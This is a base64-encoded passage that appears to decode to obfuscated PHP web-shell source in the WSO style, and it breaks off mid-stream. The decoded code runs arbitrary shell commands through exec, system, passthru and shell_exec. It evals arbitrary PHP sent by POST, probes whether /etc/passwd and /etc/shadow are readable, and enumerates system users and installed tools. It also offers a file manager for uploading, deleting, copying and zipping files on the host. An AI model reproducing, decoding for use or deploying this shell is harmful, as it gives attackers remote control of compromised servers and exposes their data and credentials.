IWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0cHczNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0cHczNGQnKT09PWYxbHM1KSkgew0KICAgIGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkpIHsNCiAgICBmM25jdDQybiBwMnM0eF9nNXRncmc0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0NCg0KZjNuY3Q0Mm4gd3MyRXgoJDRuKSB7DQoJJDIzdCA9ICcnOw0KCTRmIChmM25jdDQybl81eDRzdHMoJzV4NWMnKSkgew0KCQlANXg1YygkNG4sJDIzdCk7DQoJCSQyM3QgPSBAajI0bigiXG4iLCQyM3QpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3Axc3N0aHIzJykpIHsNCgkJMmJfc3QxcnQoKTsNCgkJQHAxc3N0aHIzKCQ0bik7DQoJCSQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCgl9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgew0KCQkyYl9zdDFydCgpOw0KCQlAc3lzdDVtKCQ0bik7DQoJCSQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCgl9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzaDVsbF81eDVjJykpIHsNCgkJJDIzdCA9IHNoNWxsXzV4NWMoJDRuKTsNCgl9IDVsczU0ZiAoNHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJDRuLCJyIikpKSB7DQoJCSQyM3QgPSAiIjsNCgkJd2g0bDUoIUBmNTJmKCRmKSkNCgkJCSQyM3QgLj0gZnI1MWQoJGYsNjBhdSk7DQoJCXBjbDJzNSgkZik7DQoJfQ0KCXI1dDNybiAkMjN0Ow0KfQ0KDQpmM25jdDQybiB3czJWNDV3UzR6NSgkcykgew0KCTRmKCRzID49IDYwN283dTY4YXUpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjA3bzd1NjhhdSApLiAnIEdCJzsNCgk1bHM1NGYoJHMgPj0gNjB1OGk3ZSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MHU4aTdlICkgLiAnIE1CJzsNCgk1bHM1NGYoJHMgPj0gNjBhdSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsNCgk1bHM1DQoJCXI1dDNybiAkcyAuICcgQic7DQp9DQoNCmYzbmN0NDJuIHdzMlA1cm1zKCRwKSB7DQoJNGYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSQ0ID0gJ3MnOw0KCTVsczU0ZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJDQgPSAnbCc7DQoJNWxzNTRmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkNCA9ICctJzsNCgk1bHM1NGYgKCgkcCAmIDB4ZTAwMCkgPT0gMHhlMDAwKSQ0ID0gJ2InOw0KCTVsczU0ZiAoKCRwICYgMHh1MDAwKSA9PSAweHUwMDApJDQgPSAnZCc7DQoJNWxzNTRmICgoJHAgJiAweGEwMDApID09IDB4YTAwMCkkNCA9ICdjJzsNCgk1bHM1NGYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSQ0ID0gJ3AnOw0KCTVsczUgJDQgPSAnMyc7DQoJJDQgLj0gKCgkcCAmIDB4MDYwMCkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMHUwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KCSQ0IC49ICgoJHAgJiAweDAwYTApID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDYwKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwdTAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MHUwMCkgPyAnUycgOiAnLScpKTsNCgkkNCAuPSAoKCRwICYgMHgwMDB1KSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwYSkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwMDYpID8gKCgkcCAmIDB4MGEwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDBhMDApID8gJ1QnIDogJy0nKSk7DQoJcjV0M3JuICQ0Ow0KfQ0KDQpmM25jdDQybiB3czJQNXJtc0MybDJyKCRmKSB7DQoJNGYgKCFANHNfcjUxZDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNGRjAwMDA+JyAuIHdzMlA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCgk1bHM1NGYgKCFANHNfd3I0dDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPXdoNHQ1PicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNhaWZmMDA+JyAuIHdzMlA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCn0NCg0KZjNuY3Q0Mm4gd3MyU2MxbmQ0cigkZDRyKSB7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCJzYzFuZDRyIikpIHsNCiAgICAgICAgcjV0M3JuIHNjMW5kNHIoJGQ0cik7DQogICAgfSA1bHM1IHsNCiAgICAgICAgJGRoICA9IDJwNW5kNHIoJGQ0cik7DQogICAgICAgIHdoNGw1IChmMWxzNSAhPT0gKCRmNGw1bjFtNSA9IHI1MWRkNHIoJGRoKSkpDQogICAgICAgICAgICAkZjRsNXNbXSA9ICRmNGw1bjFtNTsNCiAgICAgICAgcjV0M3JuICRmNGw1czsNCiAgICB9DQp9DQoNCmYzbmN0NDJuIHdzMldoNGNoKCRwKSB7DQoJJHAxdGggPSB3czJFeCgnd2g0Y2ggJyAuICRwKTsNCgk0ZighNW1wdHkoJHAxdGgpKQ0KCQlyNXQzcm4gJHAxdGg7DQoJcjV0M3JuIGYxbHM1Ow0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5TNWNJbmYyKCkgew0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5TNXJ2NXIgczVjM3I0dHkgNG5mMnJtMXQ0Mm48L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KCWYzbmN0NDJuIHdzMlM1Y1AxcjFtKCRuLCAkdikgew0KCQkkdiA9IHRyNG0oJHYpOw0KCQk0Zigkdikgew0KCQkJNWNoMiAnPHNwMW4+JyAuICRuIC4gJzogPC9zcDFuPic7DQoJCQk0ZihzdHJwMnMoJHYsICJcbiIpID09PSBmMWxzNSkNCgkJCQk1Y2gyICR2IC4gJzxicj4nOw0KCQkJNWxzNQ0KCQkJCTVjaDIgJzxwcjUgY2wxc3M9bWw2PicgLiAkdiAuICc8L3ByNT4nOw0KCQl9DQoJfQ0KDQoJd3MyUzVjUDFyMW0oJ1M1cnY1ciBzMmZ0dzFyNScsIEBnNXQ1bnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJzFwMWNoNV9nNXRfbTJkM2w1cycpKQ0KICAgICAgICB3czJTNWNQMXIxbSgnTDIxZDVkIEFwMWNoNSBtMmQzbDVzJywgNG1wbDJkNSgnLCAnLCAxcDFjaDVfZzV0X20yZDNsNXMoKSkpOw0KCXdzMlM1Y1AxcjFtKCdENHMxYmw1ZCBQSFAgRjNuY3Q0Mm5zJywgJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10/JEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ106J24ybjUnKTsNCgl3czJTNWNQMXIxbSgnT3A1biBiMXM1IGQ0cicsIEA0bjRfZzV0KCcycDVuX2IxczVkNHInKSk7DQoJd3MyUzVjUDFyMW0oJ1MxZjUgbTJkNSA1eDVjIGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNXg1Y19kNHInKSk7DQoJd3MyUzVjUDFyMW0oJ1MxZjUgbTJkNSA0bmNsM2Q1IGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNG5jbDNkNV9kNHInKSk7DQoJd3MyUzVjUDFyMW0oJ2NVUkwgczNwcDJydCcsIGYzbmN0NDJuXzV4NHN0cygnYzNybF92NXJzNDJuJyk/JzVuMWJsNWQnOiduMicpOw0KCSR0NW1wPTFycjF5KCk7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9nNXRfY2w0NW50XzRuZjInKSkNCgkJJHQ1bXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nNXRfY2w0NW50XzRuZjIoKS4iKSI7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdtc3NxbF9jMm5uNWN0JykpDQoJCSR0NW1wW10gPSAiTVNTUUwiOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygncGdfYzJubjVjdCcpKQ0KCQkkdDVtcFtdID0gIlAyc3RncjVTUUwiOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkNCgkJJHQ1bXBbXSA9ICJPcjFjbDUiOw0KCXdzMlM1Y1AxcjFtKCdTM3BwMnJ0NWQgZDF0MWIxczVzJywgNG1wbDJkNSgnLCAnLCAkdDVtcCkpOw0KCTVjaDIgJzxicj4nOw0KDQoJNGYoJEdMT0JBTFNbJzJzJ10gPT0gJ240eCcpIHsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdSNTFkMWJsNSAvNXRjL3Axc3N3ZCcsIEA0c19yNTFkMWJsNSgnLzV0Yy9wMXNzd2QnKT8ieTVzIDwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsIFwiLzV0Yy9cIiwgXCJwMXNzd2RcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvc2gxZDJ3JywgQDRzX3I1MWQxYmw1KCcvNXRjL3NoMWQydycpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCIvNXRjL1wiLCBcInNoMWQyd1wiKSc+W3Y0NXddPC8xPiI6J24yJyk7DQogICAgICAgICAgICB3czJTNWNQMXIxbSgnT1MgdjVyczQybicsIEBmNGw1X2c1dF9jMm50NW50cygnL3ByMmMvdjVyczQybicpKTsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdENHN0ciBuMW01JywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvNXRjLzRzczM1Lm41dCcpKTsNCiAgICAgICAgICAgIDRmKCEkR0xPQkFMU1snczFmNV9tMmQ1J10pIHsNCiAgICAgICAgICAgICAgICAkM3M1cmYzbCA9IDFycjF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbTFrNScsJ3BocCcsJ3A1cmwnLCdweXRoMm4nLCdyM2J5JywndDFyJywnZ3o0cCcsJ2J6NHAnLCdiejRwYScsJ25jJywnbDJjMXQ1JywnczM0ZHA1cmwnKTsNCiAgICAgICAgICAgICAgICAkZDFuZzVyID0gMXJyMXkoJ2sxdicsJ24yZG9hJywnYmRjMnI1ZCcsJzN2c2MxbicsJ3MxdicsJ2RydzViZCcsJ2NsMW1kJywncmtoM250NXInLCdjaGtyMjJ0azR0JywnNHB0MWJsNXMnLCc0cGZ3JywndHI0cHc0cjUnLCdzaDQ1bGRjYycsJ3AycnRzNW50cnknLCdzbjJydCcsJzJzczVjJywnbDRkczFkbScsJ3RjcGwyZGcnLCdzeDRkJywnbDJnY2g1Y2snLCdsMmd3MXRjaCcsJ3N5c20xc2snLCd6bWJzYzFwJywnczF3bTRsbCcsJ3cycm1zYzFuJywnbjRuajEnKTsNCiAgICAgICAgICAgICAgICAkZDJ3bmwyMWQ1cnMgPSAxcnIxeSgnd2c1dCcsJ2Y1dGNoJywnbHlueCcsJ2w0bmtzJywnYzNybCcsJ2c1dCcsJ2x3cC1tNHJyMnInKTsNCiAgICAgICAgICAgICAgICA1Y2gyICc8YnI+JzsNCiAgICAgICAgICAgICAgICAkdDVtcD0xcnIxeSgpOw0KICAgICAgICAgICAgICAgIGYycjUxY2ggKCQzczVyZjNsIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQogICAgICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ1VzNXJmM2wnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgICAgICAkdDVtcD0xcnIxeSgpOw0KICAgICAgICAgICAgICAgIGYycjUxY2ggKCRkMW5nNXIgMXMgJDR0NW0pDQogICAgICAgICAgICAgICAgICAgIDRmKHdzMldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCiAgICAgICAgICAgICAgICB3czJTNWNQMXIxbSgnRDFuZzVyJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQogICAgICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoICgkZDJ3bmwyMWQ1cnMgMXMgJDR0NW0pDQogICAgICAgICAgICAgICAgICAgIDRmKHdzMldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCiAgICAgICAgICAgICAgICB3czJTNWNQMXIxbSgnRDJ3bmwyMWQ1cnMnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgICAgICA1Y2gyICc8YnIvPic7DQogICAgICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0hERCBzcDFjNScsIHdzMkV4KCdkZiAtaCcpKTsNCiAgICAgICAgICAgICAgICB3czJTNWNQMXIxbSgnSDJzdHMnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvaDJzdHMnKSk7DQogICAgICAgICAgICAgICAgNWNoMiAnPGJyLz48c3Axbj5wMnM0eF9nNXRwdzM0ZCAoIlI1MWQiIC81dGMvcDFzc3dkKTwvc3Axbj48dDFibDU+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiaSIsdGg0cy5wMXIxbTYudjFsMzUsdGg0cy5wMXIxbWEudjFsMzUpO3I1dDNybiBmMWxzNTtcJz48dHI+PHRkPkZyMm08L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW02IHYxbDM1PTA+PC90ZD48L3RyPjx0cj48dGQ+VDI8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW1hIHYxbDM1PTYwMDA+PC90ZD48L3RyPjwvdDFibDU+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICAgICAgNGYgKDRzczV0ICgkX1BPU1RbJ3BhJ10sICRfUE9TVFsncG8nXSkgJiYgNHNfbjNtNXI0YygkX1BPU1RbJ3BhJ10pICYmIDRzX24zbTVyNGMoJF9QT1NUWydwbyddKSkgew0KICAgICAgICAgICAgICAgICAgICAkdDVtcCA9ICIiOw0KICAgICAgICAgICAgICAgICAgICBmMnIoOyRfUE9TVFsncGEnXSA8PSAkX1BPU1RbJ3BvJ107JF9QT1NUWydwYSddKyspIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICQzNGQgPSBAcDJzNHhfZzV0cHczNGQoJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICgkMzRkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0NW1wIC49IGoyNG4oJzonLCQzNGQpLiJcbiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgNWNoMiAnPGJyLz4nOw0KICAgICAgICAgICAgICAgICAgICB3czJTNWNQMXIxbSgnVXM1cnMnLCAkdDVtcCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KCX0gNWxzNSB7DQoJCXdzMlM1Y1AxcjFtKCdPUyBWNXJzNDJuJyx3czJFeCgndjVyJykpOw0KCQl3czJTNWNQMXIxbSgnQWNjMjNudCBTNXR0NG5ncycsd3MyRXgoJ241dCAxY2MyM250cycpKTsNCgkJd3MyUzVjUDFyMW0oJ1VzNXIgQWNjMjNudHMnLHdzMkV4KCduNXQgM3M1cicpKTsNCgl9DQoJNWNoMiAnPC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUGhwKCkgew0KCTRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgew0KICAgICAgICBXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCcsIHRyMzUpOw0KCQkyYl9zdDFydCgpOw0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJCSR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS40bm41ckhUTUw9JyIgLiAxZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7DQoJCTVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQoJCTV4NHQ7DQoJfQ0KICAgIDRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSAmJiAhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnLCAwKTsNCg0KCXdzMkg1MWQ1cigpOw0KCTRmKDRzczV0KCRfUE9TVFsncGEnXSkgJiYgKCRfUE9TVFsncGEnXSA9PSAnNG5mMicpKSB7DQoJCTVjaDIgJzxoNj5QSFAgNG5mMjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzdHlsNT4ucCB7YzJsMnI6IzAwMDt9PC9zdHlsNT4nOw0KCQkyYl9zdDFydCgpOw0KCQlwaHA0bmYyKCk7DQoJCSR0bXAgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICAgICAgJHRtcCA9IHByNWdfcjVwbDFjNSgxcnIxeSAoDQogICAgICAgICAgICAnIShiMmR5fDE6XHcrfGIyZHksIHRkLCB0aCwgaDYsIGhhKSB7Lip9IW1zNFUnLA0KICAgICAgICAgICAgJyF0ZCwgdGggeyguKil9IW1zNFUnLA0KICAgICAgICAgICAgJyE8NG1nW14+XSs+IW1zNFUnLA0KICAgICAgICApLCAxcnIxeSAoDQogICAgICAgICAgICAnJywNCiAgICAgICAgICAgICcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywNCiAgICAgICAgICAgICcnDQogICAgICAgICksICR0bXApOw0KCQk1Y2gyIHN0cl9yNXBsMWM1KCc8aDYnLCc8aGEnLCAkdG1wKSAuJzwvZDR2Pjxicj4nOw0KCX0NCiAgICA1Y2gyICc8aDY+RXg1YzN0NDJuIFBIUC1jMmQ1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1wZiBtNXRoMmQ9cDJzdCAybnMzYm00dD0iNGYodGg0cy4xajF4LmNoNWNrNWQpezEoXCdQaHBcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSk7fTVsczV7ZyhcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1LFwnXCcpO31yNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT1jMmQ1IGNsMXNzPWI0ZzFyNTEgNGQ9UGhwQzJkNT4nLighNW1wdHkoJF9QT1NUWydwNiddKT9odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSk6JycpLic8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1FdjFsIHN0eWw1PSJtMXJnNG4tdDJwOmlweCI+JzsNCgk1Y2gyICcgPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgJy4oJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLic+IHM1bmQgM3M0bmcgQUpBWDwvZjJybT48cHI1IDRkPVBocE8zdHAzdCBzdHlsNT0iJy4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLidtMXJnNG4tdDJwOmlweDsiIGNsMXNzPW1sNj4nOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCTV2MWwoJF9QT1NUWydwNiddKTsNCgkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKTsNCgl9DQoJNWNoMiAnPC9wcjU+PC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNNMW4oKSB7DQogICAgNGYgKCE1bXB0eSAoJF9DT09LSUVbJ2YnXSkpDQogICAgICAgICRfQ09PS0lFWydmJ10gPSBAM25zNXI0MWw0ejUoJF9DT09LSUVbJ2YnXSk7DQogICAgDQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KCQkJYzFzNSAnM3BsMjFkRjRsNSc6DQoJCQkJNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpDQoJCQkJCTVjaDIgIkMxbid0IDNwbDIxZCBmNGw1ISI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdta2Q0cic6DQoJCQkJNGYoIUBta2Q0cigkX1BPU1RbJ3BhJ10pKQ0KCQkJCQk1Y2gyICJDMW4ndCBjcjUxdDUgbjV3IGQ0ciI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdkNWw1dDUnOg0KCQkJCWYzbmN0NDJuIGQ1bDV0NUQ0cigkcDF0aCkgew0KCQkJCQkkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOw0KCQkJCQkkZGggID0gMnA1bmQ0cigkcDF0aCk7DQoJCQkJCXdoNGw1ICggKCQ0dDVtID0gcjUxZGQ0cigkZGgpICkgIT09IGYxbHM1KSB7DQoJCQkJCQkkNHQ1bSA9ICRwMXRoLiQ0dDVtOw0KCQkJCQkJNGYgKCAoYjFzNW4xbTUoJDR0NW0pID09ICIuLiIpIHx8IChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4iKSApDQoJCQkJCQkJYzJudDRuMzU7DQoJCQkJCQkkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsNCgkJCQkJCTRmICgkdHlwNSA9PSAiZDRyIikNCgkJCQkJCQlkNWw1dDVENHIoJDR0NW0pOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJDR0NW0pOw0KCQkJCQl9DQoJCQkJCWNsMnM1ZDRyKCRkaCk7DQoJCQkJCUBybWQ0cigkcDF0aCk7DQoJCQkJfQ0KCQkJCTRmKDRzXzFycjF5KEAkX1BPU1RbJ2YnXSkpDQoJCQkJCWYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQoJCQkJCQkkZiA9IDNybGQ1YzJkNSgkZik7DQoJCQkJCQk0Zig0c19kNHIoJGYpKQ0KCQkJCQkJCWQ1bDV0NUQ0cigkZik7DQoJCQkJCQk1bHM1DQoJCQkJCQkJQDNubDRuaygkZik7DQoJCQkJCX0NCgkJCQlicjUxazsNCgkJCWMxczUgJ3Axc3Q1JzoNCgkJCQk0ZigkX0NPT0tJRVsnMWN0J10gPT0gJ2MycHknKSB7DQoJCQkJCWYzbmN0NDJuIGMycHlfcDFzdDUoJGMsJHMsJGQpew0KCQkJCQkJNGYoNHNfZDRyKCRjLiRzKSl7DQoJCQkJCQkJbWtkNHIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQDJwNW5kNHIoJGMuJHMpOw0KCQkJCQkJCXdoNGw1ICgoJGYgPSBAcjUxZGQ0cigkaCkpICE9PSBmMWxzNSkNCgkJCQkJCQkJNGYgKCgkZiAhPSAiLiIpIDFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gNWxzNTRmKDRzX2Y0bDUoJGMuJHMpKQ0KCQkJCQkJCUBjMnB5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZjJyNTFjaCgkX0NPT0tJRVsnZiddIDFzICRmKQ0KCQkJCQkJYzJweV9wMXN0NSgkX0NPT0tJRVsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOw0KCQkJCX0gNWxzNTRmKCRfQ09PS0lFWycxY3QnXSA9PSAnbTJ2NScpIHsNCgkJCQkJZjNuY3Q0Mm4gbTJ2NV9wMXN0NSgkYywkcywkZCl7DQoJCQkJCQk0Zig0c19kNHIoJGMuJHMpKXsNCgkJCQkJCQlta2Q0cigkZC4kcyk7DQoJCQkJCQkJJGggPSBAMnA1bmQ0cigkYy4kcyk7DQoJCQkJCQkJd2g0bDUgKCgkZiA9IEByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KCQkJCQkJCQk0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWMycHlfcDFzdDUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSA1bHM1NGYoQDRzX2Y0bDUoJGMuJHMpKQ0KCQkJCQkJCUBjMnB5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZjJyNTFjaCgkX0NPT0tJRVsnZiddIDFzICRmKQ0KCQkJCQkJQHI1bjFtNSgkX0NPT0tJRVsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOw0KCQkJCX0gNWxzNTRmKCRfQ09PS0lFWycxY3QnXSA9PSAnejRwJykgew0KCQkJCQk0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHo0cC0+MnA1bigkX1BPU1RbJ3BhJ10sIDYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkNHIoJF9DT09LSUVbJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX0NPT0tJRVsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoQDRzX2Y0bDUoJF9DT09LSUVbJ2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT4xZGRGNGw1KCRfQ09PS0lFWydjJ10uJGYsICRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNTRmKEA0c19kNHIoJF9DT09LSUVbJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVyMXQyciA9IG41dyBSNWMzcnM0djVJdDVyMXQyckl0NXIxdDJyKG41dyBSNWMzcnM0djVENHI1Y3QycnlJdDVyMXQycigkZi4nLycpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2ggKCQ0dDVyMXQyciAxcyAkazV5PT4kdjFsMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT4xZGRGNGw1KHI1MWxwMXRoKCRrNXkpLCAkazV5KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgI